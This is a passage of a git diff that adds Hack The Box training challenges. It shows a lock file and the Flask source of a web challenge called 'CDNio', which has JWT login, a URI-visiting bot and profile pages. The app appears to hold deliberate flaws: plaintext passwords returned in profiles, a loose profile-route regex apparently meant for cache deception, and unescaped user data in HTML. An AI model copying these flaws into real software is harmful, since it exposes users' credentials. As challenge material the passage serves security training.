sdist = { url = "https://files.pythonhosted.org/packages/d2/7e/34f64d07e6cd9b8fdf9f3c7601283e4ac5c2b5a56385ecc7fc50c37af971/analyzemft-3.1.1.tar.gz", hash = "sha256:0b2eb151ffb98caeebe0eed33cbdc9c1dfada15da303ecaaafac1a310939ba15", size = 64739, upload-time = "2025-08-13T15:42:23.983Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/22/cb/ae33d6dde969113ea00e4f0eb2b5a7b6a39cee923bae6a1c832e6cd004e1/analyzemft-3.1.1-py3-none-any.whl", hash = "sha256:10fe723b4617827ae30c9aac376a273726404bdef0ea4a1e39f62f677a361f13", size = 43237, upload-time = "2025-08-13T15:42:22.482Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "et-xmlfile"
|
||||||
|
version = "2.0.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/d3/38/af70d7ab1ae9d4da450eeec1fa3918940a5fafb9055e934af8d6eb0c2313/et_xmlfile-2.0.0.tar.gz", hash = "sha256:dab3f4764309081ce75662649be815c4c9081e88f0837825f90fd28317d4da54", size = 17234, upload-time = "2024-10-25T17:25:40.039Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c1/8b/5fe2cc11fee489817272089c4203e679c63b570a5aaeb18d852ae3cbba6a/et_xmlfile-2.0.0-py3-none-any.whl", hash = "sha256:7a91720bc756843502c3b7504c77b8fe44217c85c537d85037f0f536151b2caa", size = 18059, upload-time = "2024-10-25T17:25:39.051Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "openpyxl"
|
||||||
|
version = "3.1.5"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "et-xmlfile" },
|
||||||
|
]
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/3d/f9/88d94a75de065ea32619465d2f77b29a0469500e99012523b91cc4141cd1/openpyxl-3.1.5.tar.gz", hash = "sha256:cf0e3cf56142039133628b5acffe8ef0c12bc902d2aadd3e0fe5878dc08d1050", size = 186464, upload-time = "2024-06-28T14:03:44.161Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c0/da/977ded879c29cbd04de313843e76868e6e13408a94ed6b987245dc7c8506/openpyxl-3.1.5-py2.py3-none-any.whl", hash = "sha256:5282c12b107bffeef825f4617dc029afaf41d0ea60823bbb665ef3079dc79de2", size = 250910, upload-time = "2024-06-28T14:03:41.161Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pursue-the-tracks"
|
||||||
|
version = "0.1.0"
|
||||||
|
source = { virtual = "." }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "analyzemft" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[package.metadata]
|
||||||
|
requires-dist = [{ name = "analyzemft", specifier = ">=3.1.1" }]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pywin32"
|
||||||
|
version = "311"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a5/be/3fd5de0979fcb3994bfee0d65ed8ca9506a8a1260651b86174f6a86f52b3/pywin32-311-cp313-cp313-win32.whl", hash = "sha256:f95ba5a847cba10dd8c4d8fefa9f2a6cf283b8b88ed6178fa8a6c1ab16054d0d", size = 8705700, upload-time = "2025-07-14T20:13:26.471Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/e3/28/e0a1909523c6890208295a29e05c2adb2126364e289826c0a8bc7297bd5c/pywin32-311-cp313-cp313-win_amd64.whl", hash = "sha256:718a38f7e5b058e76aee1c56ddd06908116d35147e133427e59a3983f703a20d", size = 9494700, upload-time = "2025-07-14T20:13:28.243Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/04/bf/90339ac0f55726dce7d794e6d79a18a91265bdf3aa70b6b9ca52f35e022a/pywin32-311-cp313-cp313-win_arm64.whl", hash = "sha256:7b4075d959648406202d92a2310cb990fea19b535c7f4a78d3f5e10b926eeb8a", size = 8709318, upload-time = "2025-07-14T20:13:30.348Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c9/31/097f2e132c4f16d99a22bfb777e0fd88bd8e1c634304e102f313af69ace5/pywin32-311-cp314-cp314-win32.whl", hash = "sha256:b7a2c10b93f8986666d0c803ee19b5990885872a7de910fc460f9b0c2fbf92ee", size = 8840714, upload-time = "2025-07-14T20:13:32.449Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/90/4b/07c77d8ba0e01349358082713400435347df8426208171ce297da32c313d/pywin32-311-cp314-cp314-win_amd64.whl", hash = "sha256:3aca44c046bd2ed8c90de9cb8427f581c479e594e99b5c0bb19b29c10fd6cb87", size = 9656800, upload-time = "2025-07-14T20:13:34.312Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c0/d2/21af5c535501a7233e734b8af901574572da66fcc254cb35d0609c9080dd/pywin32-311-cp314-cp314-win_arm64.whl", hash = "sha256:a508e2d9025764a8270f93111a970e1d0fbfc33f4153b388bb649b7eec4f9b42", size = 8932540, upload-time = "2025-07-14T20:13:36.379Z" },
|
||||||
|
]
|
||||||
BIN
training/htb/challenges/forensics/pursue_the_tracks/z.mft
Normal file
BIN
training/htb/challenges/forensics/pursue_the_tracks/z.mft
Normal file
Binary file not shown.
31
training/htb/challenges/web/cdnio/Dockerfile
Normal file
31
training/htb/challenges/web/cdnio/Dockerfile
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
FROM alpine:latest
|
||||||
|
|
||||||
|
RUN apk update && apk upgrade && apk add --no-cache \
|
||||||
|
nginx \
|
||||||
|
python3 \
|
||||||
|
sqlite \
|
||||||
|
py3-pip \
|
||||||
|
openssl \
|
||||||
|
&& rm -rf /var/cache/apk/*
|
||||||
|
|
||||||
|
ENV PATH="/venv/bin:$PATH"
|
||||||
|
|
||||||
|
WORKDIR /www
|
||||||
|
|
||||||
|
COPY conf/requirements.txt .
|
||||||
|
|
||||||
|
RUN python3 -m venv /venv
|
||||||
|
|
||||||
|
RUN pip3 install --no-cache-dir -r requirements.txt
|
||||||
|
|
||||||
|
COPY challenge/ .
|
||||||
|
|
||||||
|
COPY conf/nginx.conf /etc/nginx/nginx.conf
|
||||||
|
|
||||||
|
COPY entrypoint.sh /
|
||||||
|
RUN chmod 600 /entrypoint.sh
|
||||||
|
RUN chmod +x /entrypoint.sh
|
||||||
|
|
||||||
|
EXPOSE 1337
|
||||||
|
|
||||||
|
ENTRYPOINT ["/entrypoint.sh"]
|
||||||
4
training/htb/challenges/web/cdnio/build_docker.sh
Executable file
4
training/htb/challenges/web/cdnio/build_docker.sh
Executable file
@@ -0,0 +1,4 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
docker build --tag=web-cdnio . && \
|
||||||
|
docker run -p 1337:1337 --rm --name=web-cdnio -it web-cdnio
|
||||||
13
training/htb/challenges/web/cdnio/challenge/app/__init__.py
Normal file
13
training/htb/challenges/web/cdnio/challenge/app/__init__.py
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
from flask import Flask
|
||||||
|
|
||||||
|
def create_app():
|
||||||
|
app = Flask(__name__)
|
||||||
|
app.config.from_object('app.config.Config')
|
||||||
|
|
||||||
|
from .blueprints import main_bp, bot_bp, auth_bp
|
||||||
|
|
||||||
|
app.register_blueprint(main_bp)
|
||||||
|
app.register_blueprint(bot_bp)
|
||||||
|
app.register_blueprint(auth_bp)
|
||||||
|
|
||||||
|
return app
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
from .main import main_bp
|
||||||
|
from .bot import bot_bp
|
||||||
|
from .auth import auth_bp
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
from flask import Blueprint
|
||||||
|
|
||||||
|
auth_bp = Blueprint('auth_bp', __name__,)
|
||||||
|
|
||||||
|
from .routes import *
|
||||||
@@ -0,0 +1,96 @@
|
|||||||
|
from . import auth_bp
|
||||||
|
|
||||||
|
from flask import request, jsonify, current_app, render_template
|
||||||
|
|
||||||
|
import datetime, uuid, sqlite3, jwt
|
||||||
|
|
||||||
|
|
||||||
|
def get_db_connection():
|
||||||
|
conn = sqlite3.connect("/www/app/database.db")
|
||||||
|
conn.row_factory = sqlite3.Row
|
||||||
|
return conn
|
||||||
|
|
||||||
|
def generate_api_key():
|
||||||
|
return str(uuid.uuid4())
|
||||||
|
|
||||||
|
@auth_bp.route('/', methods=['POST', 'GET'])
|
||||||
|
def search():
|
||||||
|
|
||||||
|
if request.method == 'POST':
|
||||||
|
data = request.get_json()
|
||||||
|
|
||||||
|
username = data.get('username')
|
||||||
|
password = data.get('password')
|
||||||
|
|
||||||
|
if not username or not password:
|
||||||
|
return jsonify({"message": "username or password are required!"}), 400
|
||||||
|
|
||||||
|
conn = get_db_connection()
|
||||||
|
|
||||||
|
user = conn.execute(
|
||||||
|
"SELECT * FROM users WHERE username = ?", (username,)
|
||||||
|
).fetchone()
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
if user and user["password"] == password:
|
||||||
|
|
||||||
|
token = jwt.encode(
|
||||||
|
{
|
||||||
|
"sub": user["username"],
|
||||||
|
"iat": datetime.datetime.utcnow(),
|
||||||
|
"exp": datetime.datetime.utcnow() + datetime.timedelta(days=1),
|
||||||
|
},
|
||||||
|
current_app.config["JWT_SECRET_KEY"],
|
||||||
|
algorithm="HS256",
|
||||||
|
)
|
||||||
|
|
||||||
|
return jsonify({"token": f"{token}"}), 200
|
||||||
|
|
||||||
|
else:
|
||||||
|
return jsonify({"message": "Credentials not found. Please check your username and password."}), 404
|
||||||
|
|
||||||
|
else:
|
||||||
|
return render_template('search.html')
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@auth_bp.route('/register', methods=['POST', 'GET'])
|
||||||
|
def register():
|
||||||
|
|
||||||
|
if request.method == 'POST':
|
||||||
|
data = request.get_json()
|
||||||
|
|
||||||
|
username = data.get('username')
|
||||||
|
password = data.get('password')
|
||||||
|
email = data.get('email')
|
||||||
|
|
||||||
|
if not username or not password or not email:
|
||||||
|
return jsonify({"message": "username, password, and email are required!"}), 400
|
||||||
|
|
||||||
|
conn = get_db_connection()
|
||||||
|
|
||||||
|
existing_user = conn.execute(
|
||||||
|
"SELECT * FROM users WHERE username = ? OR email = ?", (username, email,)
|
||||||
|
).fetchone()
|
||||||
|
|
||||||
|
if existing_user:
|
||||||
|
conn.close()
|
||||||
|
return jsonify({"message": "Username or email already exists!"}), 409
|
||||||
|
|
||||||
|
api_key = generate_api_key()
|
||||||
|
|
||||||
|
conn.execute(
|
||||||
|
"""
|
||||||
|
INSERT INTO users (username, password, email, api_key, created_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?)
|
||||||
|
""",
|
||||||
|
(username, password, email, api_key, datetime.datetime.utcnow())
|
||||||
|
)
|
||||||
|
|
||||||
|
conn.commit()
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
return jsonify({"message": f"User {username} registered successfully!"}), 201
|
||||||
|
|
||||||
|
else:
|
||||||
|
return render_template('register.html')
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
from flask import Blueprint
|
||||||
|
|
||||||
|
bot_bp = Blueprint('bot_bp', __name__,)
|
||||||
|
|
||||||
|
from .routes import *
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
from . import bot_bp
|
||||||
|
|
||||||
|
from app.utils.bot import bot_thread
|
||||||
|
from app.middleware.auth import jwt_required
|
||||||
|
|
||||||
|
from flask import request, jsonify
|
||||||
|
|
||||||
|
|
||||||
|
@bot_bp.route('/visit', methods=['POST'])
|
||||||
|
@jwt_required
|
||||||
|
def visit():
|
||||||
|
|
||||||
|
data = request.get_json()
|
||||||
|
|
||||||
|
uri = data.get('uri')
|
||||||
|
|
||||||
|
if not uri:
|
||||||
|
return jsonify({"message": "URI is required"}), 400
|
||||||
|
|
||||||
|
bot_thread(uri)
|
||||||
|
|
||||||
|
return jsonify({"message": f"Visiting URI: {uri}"}), 200
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
from flask import Blueprint
|
||||||
|
|
||||||
|
main_bp = Blueprint('main_bp', __name__,)
|
||||||
|
|
||||||
|
from .routes import *
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
from . import main_bp
|
||||||
|
|
||||||
|
from app.middleware.auth import jwt_required
|
||||||
|
from flask import jsonify, request
|
||||||
|
|
||||||
|
import re, sqlite3
|
||||||
|
|
||||||
|
def get_db_connection():
|
||||||
|
conn = sqlite3.connect("/www/app/database.db")
|
||||||
|
conn.row_factory = sqlite3.Row
|
||||||
|
return conn
|
||||||
|
|
||||||
|
@main_bp.route('/<path:subpath>', methods=['GET'])
|
||||||
|
@jwt_required
|
||||||
|
def profile(subpath):
|
||||||
|
|
||||||
|
if re.match(r'.*^profile', subpath): # Django perfection
|
||||||
|
|
||||||
|
decoded_token = request.decoded_token
|
||||||
|
|
||||||
|
username = decoded_token.get('sub')
|
||||||
|
if not username:
|
||||||
|
return jsonify({"error": "Invalid token payload!"}), 401
|
||||||
|
|
||||||
|
conn = get_db_connection()
|
||||||
|
|
||||||
|
user = conn.execute(
|
||||||
|
"SELECT id, username, email, api_key, created_at, password FROM users WHERE username = ?",
|
||||||
|
(username,)
|
||||||
|
).fetchone()
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
if user:
|
||||||
|
return jsonify({
|
||||||
|
"id": user["id"],
|
||||||
|
"username": user["username"],
|
||||||
|
"email": user["email"],
|
||||||
|
"password": user["password"],
|
||||||
|
"api_key": user["api_key"],
|
||||||
|
"created_at": user["created_at"]
|
||||||
|
}), 200
|
||||||
|
|
||||||
|
else:
|
||||||
|
return jsonify({"error": "User not found"}), 404
|
||||||
|
|
||||||
|
else:
|
||||||
|
return jsonify({"error": "No match"}), 404
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
import os
|
||||||
|
|
||||||
|
class Config:
|
||||||
|
JWT_SECRET_KEY = os.urandom(69).hex()
|
||||||
|
DEBUG = False
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
from flask import request, jsonify, current_app
|
||||||
|
from functools import wraps
|
||||||
|
import jwt
|
||||||
|
|
||||||
|
def decode_jwt_token(token):
|
||||||
|
try:
|
||||||
|
payload = jwt.decode(token, current_app.config["JWT_SECRET_KEY"], algorithms=["HS256"])
|
||||||
|
return payload
|
||||||
|
except jwt.ExpiredSignatureError:
|
||||||
|
return {"error": "Token has expired."}
|
||||||
|
except jwt.InvalidTokenError:
|
||||||
|
return None
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Unexpected error decoding JWT: {str(e)}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def jwt_required(f):
|
||||||
|
@wraps(f)
|
||||||
|
def decorated_function(*args, **kwargs):
|
||||||
|
auth_header = request.headers.get('Authorization', '').strip()
|
||||||
|
|
||||||
|
if not auth_header.startswith('Bearer '):
|
||||||
|
return jsonify({"error": "Token is missing or invalid!"}), 401
|
||||||
|
|
||||||
|
token = auth_header.split(" ", 1)[1].strip()
|
||||||
|
decoded_token = decode_jwt_token(token)
|
||||||
|
|
||||||
|
if decoded_token is None:
|
||||||
|
return jsonify({"error": "Invalid token!"}), 401
|
||||||
|
elif "error" in decoded_token:
|
||||||
|
return jsonify(decoded_token), 401
|
||||||
|
|
||||||
|
request.decoded_token = decoded_token
|
||||||
|
|
||||||
|
return f(*args, **kwargs)
|
||||||
|
|
||||||
|
return decorated_function
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 108 KiB |
178
training/htb/challenges/web/cdnio/challenge/app/static/style.css
Normal file
178
training/htb/challenges/web/cdnio/challenge/app/static/style.css
Normal file
@@ -0,0 +1,178 @@
|
|||||||
|
body {
|
||||||
|
background-color: #0a0f1a;
|
||||||
|
color: #d0e7ff;
|
||||||
|
font-family: 'Orbitron', sans-serif;
|
||||||
|
font-size: 16px;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
height: 100vh;
|
||||||
|
}
|
||||||
|
|
||||||
|
.main-content {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: flex-start;
|
||||||
|
height: calc(100vh - 60px);
|
||||||
|
}
|
||||||
|
|
||||||
|
.sci-fi-profile, .sci-fi-login {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.holo-container {
|
||||||
|
background: rgba(17, 34, 64, 0.7);
|
||||||
|
border: 2px solid rgba(29, 216, 240, 0.7);
|
||||||
|
border-radius: 15px;
|
||||||
|
padding: 40px;
|
||||||
|
width: 650px;
|
||||||
|
box-shadow: 0 0 15px rgba(29, 216, 240, 0.4), inset 0 0 25px rgba(29, 216, 240, 0.2);
|
||||||
|
text-align: center;
|
||||||
|
backdrop-filter: blur(5px);
|
||||||
|
position: relative;
|
||||||
|
z-index: 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
.holo-header h1 {
|
||||||
|
font-size: 32px;
|
||||||
|
color: #1dd8f0;
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 3px;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.holo-divider {
|
||||||
|
height: 2px;
|
||||||
|
background: linear-gradient(90deg, rgba(29, 216, 240, 0.5), rgba(29, 216, 240, 0), rgba(29, 216, 240, 0.5));
|
||||||
|
margin: 20px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.holo-body {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.holo-info {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
justify-content: flex-start;
|
||||||
|
align-items: flex-start;
|
||||||
|
font-size: 18px;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.holo-label {
|
||||||
|
color: #1dd8f0;
|
||||||
|
font-weight: bold;
|
||||||
|
margin-bottom: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.holo-value {
|
||||||
|
color: #d0e7ff;
|
||||||
|
font-weight: 300;
|
||||||
|
text-shadow: 0 0 8px rgba(255, 255, 255, 0.7), 0 0 12px rgba(29, 216, 240, 0.8);
|
||||||
|
}
|
||||||
|
|
||||||
|
.holo-container:hover {
|
||||||
|
box-shadow: 0 0 25px rgba(29, 216, 240, 0.9), inset 0 0 30px rgba(29, 216, 240, 0.5);
|
||||||
|
}
|
||||||
|
|
||||||
|
.holo-input {
|
||||||
|
background: rgba(17, 34, 64, 0.8);
|
||||||
|
border: 2px solid rgba(29, 216, 240, 0.5);
|
||||||
|
color: #d0e7ff;
|
||||||
|
width: 100%;
|
||||||
|
padding: 10px;
|
||||||
|
font-size: 16px;
|
||||||
|
border-radius: 8px;
|
||||||
|
box-shadow: 0 0 10px rgba(29, 216, 240, 0.3);
|
||||||
|
outline: none;
|
||||||
|
transition: box-shadow 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.holo-input:focus {
|
||||||
|
box-shadow: 0 0 20px rgba(29, 216, 240, 0.7);
|
||||||
|
}
|
||||||
|
|
||||||
|
.holo-button {
|
||||||
|
background-color: #1dd8f0;
|
||||||
|
color: #0a0f1a;
|
||||||
|
border: none;
|
||||||
|
padding: 12px 20px;
|
||||||
|
width: 100%;
|
||||||
|
border-radius: 8px;
|
||||||
|
font-size: 18px;
|
||||||
|
font-weight: bold;
|
||||||
|
letter-spacing: 2px;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background-color 0.3s ease, box-shadow 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.holo-button:hover {
|
||||||
|
background-color: #1bc3e0;
|
||||||
|
box-shadow: 0 0 15px rgba(29, 216, 240, 0.7);
|
||||||
|
}
|
||||||
|
|
||||||
|
.holo-error-message {
|
||||||
|
color: #1dd8f0;
|
||||||
|
margin-top: 20px;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.holo-container:before {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
top: -10px;
|
||||||
|
left: -10px;
|
||||||
|
right: -10px;
|
||||||
|
bottom: -10px;
|
||||||
|
background: linear-gradient(45deg, rgba(29, 216, 240, 0.05), transparent);
|
||||||
|
filter: blur(20px);
|
||||||
|
z-index: -1;
|
||||||
|
animation: flicker 2s infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes flicker {
|
||||||
|
0%, 100% {
|
||||||
|
opacity: 1;
|
||||||
|
}
|
||||||
|
50% {
|
||||||
|
opacity: 0.8;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.navbar {
|
||||||
|
background-color: rgba(10, 15, 26, 0.9);
|
||||||
|
padding: 10px;
|
||||||
|
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3);
|
||||||
|
position: fixed;
|
||||||
|
z-index: 1000;
|
||||||
|
}
|
||||||
|
|
||||||
|
.navbar-menu {
|
||||||
|
list-style-type: none;
|
||||||
|
display: flex;
|
||||||
|
justify-content: flex-end;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.navbar-link {
|
||||||
|
color: #1dd8f0;
|
||||||
|
text-decoration: none;
|
||||||
|
font-size: 18px;
|
||||||
|
margin-left: 20px;
|
||||||
|
transition: color 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.navbar-link:hover {
|
||||||
|
color: #1bc3e0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.main-content {
|
||||||
|
padding-top: 60px;
|
||||||
|
}
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>{{ title if title else 'CDNio' }}</title>
|
||||||
|
<link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700&display=swap" rel="stylesheet">
|
||||||
|
<link rel="icon" type="image/x-icon" href="{{ url_for('static', filename='favicon.ico') }}">
|
||||||
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
|
||||||
|
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<div class="main-content">
|
||||||
|
{% block content %}{% endblock %}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,68 @@
|
|||||||
|
{% extends "layout.html" %}
|
||||||
|
|
||||||
|
{% block content %}
|
||||||
|
|
||||||
|
<nav class="navbar">
|
||||||
|
<ul class="navbar-menu">
|
||||||
|
<li><a href="{{ url_for('auth_bp.search') }}" class="navbar-link">SEARCH</a></li>
|
||||||
|
<li><a href="{{ url_for('auth_bp.register') }}" class="navbar-link">REGISTER</a></li>
|
||||||
|
</ul>
|
||||||
|
</nav>
|
||||||
|
|
||||||
|
<div class="sci-fi-login">
|
||||||
|
<div class="holo-container">
|
||||||
|
<div class="holo-header">
|
||||||
|
<h1>Register</h1>
|
||||||
|
</div>
|
||||||
|
<div class="holo-divider"></div>
|
||||||
|
<form id="loginForm">
|
||||||
|
<div class="holo-info">
|
||||||
|
<label for="username" class="holo-label">Username:</label>
|
||||||
|
<input type="text" id="username" class="holo-input" required>
|
||||||
|
</div>
|
||||||
|
<div class="holo-info">
|
||||||
|
<label for="password" class="holo-label">Password:</label>
|
||||||
|
<input type="password" id="password" class="holo-input" required>
|
||||||
|
</div>
|
||||||
|
<div class="holo-info">
|
||||||
|
<label for="email" class="holo-label">Email:</label>
|
||||||
|
<input type="email" id="mail" class="holo-input" required>
|
||||||
|
</div>
|
||||||
|
<button type="button" class="holo-button" id="holo-button">REGISTER</button>
|
||||||
|
</form>
|
||||||
|
<div id="errorMessage" class="holo-error-message"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
$("#holo-button").click(function (){
|
||||||
|
|
||||||
|
var username = $("#username").val();
|
||||||
|
var password = $("#password").val();
|
||||||
|
var mail = $("#mail").val();
|
||||||
|
|
||||||
|
var creds = {
|
||||||
|
username: username,
|
||||||
|
password: password,
|
||||||
|
email: mail
|
||||||
|
};
|
||||||
|
|
||||||
|
$.ajax({
|
||||||
|
url: '/register',
|
||||||
|
type: 'POST',
|
||||||
|
contentType: 'application/json',
|
||||||
|
data: JSON.stringify(
|
||||||
|
creds
|
||||||
|
),
|
||||||
|
success: function(response) {
|
||||||
|
//var jsonResponse = JSON.parse(response);
|
||||||
|
$(".holo-error-message").text(response.message).css("color", "green");
|
||||||
|
},
|
||||||
|
error: function(xhr, status, error) {
|
||||||
|
var jsonResponse = JSON.parse(xhr.responseText);
|
||||||
|
$(".holo-error-message").text(jsonResponse.message).css("color", "red");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
{% endblock %}
|
||||||
@@ -0,0 +1,126 @@
|
|||||||
|
{% extends "layout.html" %}
|
||||||
|
|
||||||
|
{% block content %}
|
||||||
|
|
||||||
|
<nav class="navbar">
|
||||||
|
<ul class="navbar-menu">
|
||||||
|
<li><a href="{{ url_for('auth_bp.search') }}" class="navbar-link">SEARCH</a></li>
|
||||||
|
<li><a href="{{ url_for('auth_bp.register') }}" class="navbar-link">REGISTER</a></li>
|
||||||
|
</ul>
|
||||||
|
</nav>
|
||||||
|
|
||||||
|
<div class="sci-fi-login">
|
||||||
|
<div class="holo-container">
|
||||||
|
<div class="holo-header">
|
||||||
|
<h1>Search</h1>
|
||||||
|
</div>
|
||||||
|
<div class="holo-divider"></div>
|
||||||
|
<form id="loginForm" onsubmit="login(event)">
|
||||||
|
<div class="holo-info">
|
||||||
|
<label for="username" class="holo-label">Username:</label>
|
||||||
|
<input type="text" id="username" class="holo-input" required>
|
||||||
|
</div>
|
||||||
|
<div class="holo-info">
|
||||||
|
<label for="password" class="holo-label">Password:</label>
|
||||||
|
<input type="password" id="password" class="holo-input" required>
|
||||||
|
</div>
|
||||||
|
<button type="button" class="holo-button" id="holo-button">SEARCH</button>
|
||||||
|
</form>
|
||||||
|
<div id="errorMessage" class="holo-error-message"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="sci-fi-profile" style="display: none;">
|
||||||
|
<div class="holo-container">
|
||||||
|
<div class="holo-header">
|
||||||
|
<h1>User Profile</h1>
|
||||||
|
</div>
|
||||||
|
<div class="holo-divider"></div>
|
||||||
|
<div class="holo-body" id="profileData">
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
$("#holo-button").click(function (){
|
||||||
|
var username = $("#username").val();
|
||||||
|
var password = $("#password").val();
|
||||||
|
|
||||||
|
var creds = {
|
||||||
|
username: username,
|
||||||
|
password: password
|
||||||
|
};
|
||||||
|
|
||||||
|
$.ajax({
|
||||||
|
url: '/',
|
||||||
|
type: 'POST',
|
||||||
|
contentType: 'application/json',
|
||||||
|
data: JSON.stringify(
|
||||||
|
creds
|
||||||
|
),
|
||||||
|
success: function(response) {
|
||||||
|
|
||||||
|
var jwt_token = response.token
|
||||||
|
localStorage.setItem('token', jwt_token);
|
||||||
|
|
||||||
|
fetchUserProfile();
|
||||||
|
|
||||||
|
},
|
||||||
|
error: function(xhr, status, error) {
|
||||||
|
var jsonResponse = JSON.parse(xhr.responseText);
|
||||||
|
$(".holo-error-message").text(jsonResponse.message).css("color", "red");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
|
function fetchUserProfile() {
|
||||||
|
var token = localStorage.getItem('token');
|
||||||
|
|
||||||
|
$.ajax({
|
||||||
|
url: '/profile',
|
||||||
|
type: 'GET',
|
||||||
|
headers: {
|
||||||
|
'Authorization': 'Bearer ' + token
|
||||||
|
},
|
||||||
|
success: function(response) {
|
||||||
|
displayProfileData(response);
|
||||||
|
},
|
||||||
|
error: function(xhr, status, error) {
|
||||||
|
console.log("Error fetching profile:", xhr.responseText);
|
||||||
|
if (xhr.status === 401) {
|
||||||
|
$(".holo-error-message").text("Unauthorized! Please login again.").css("color", "red");
|
||||||
|
} else {
|
||||||
|
$(".holo-error-message").text("Failed to fetch profile.").css("color", "red");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function displayProfileData(user) {
|
||||||
|
const profileHtml = `
|
||||||
|
<div class="holo-info">
|
||||||
|
<span class="holo-label">ID:</span> <span class="holo-value">${user.id}</span>
|
||||||
|
</div>
|
||||||
|
<div class="holo-info">
|
||||||
|
<span class="holo-label">Username:</span> <span class="holo-value">${user.username}</span>
|
||||||
|
</div>
|
||||||
|
<div class="holo-info">
|
||||||
|
<span class="holo-label">Email:</span> <span class="holo-value">${user.email}</span>
|
||||||
|
</div>
|
||||||
|
<div class="holo-info">
|
||||||
|
<span class="holo-label">API Key:</span> <span class="holo-value">${user.api_key}</span>
|
||||||
|
</div>
|
||||||
|
<div class="holo-info">
|
||||||
|
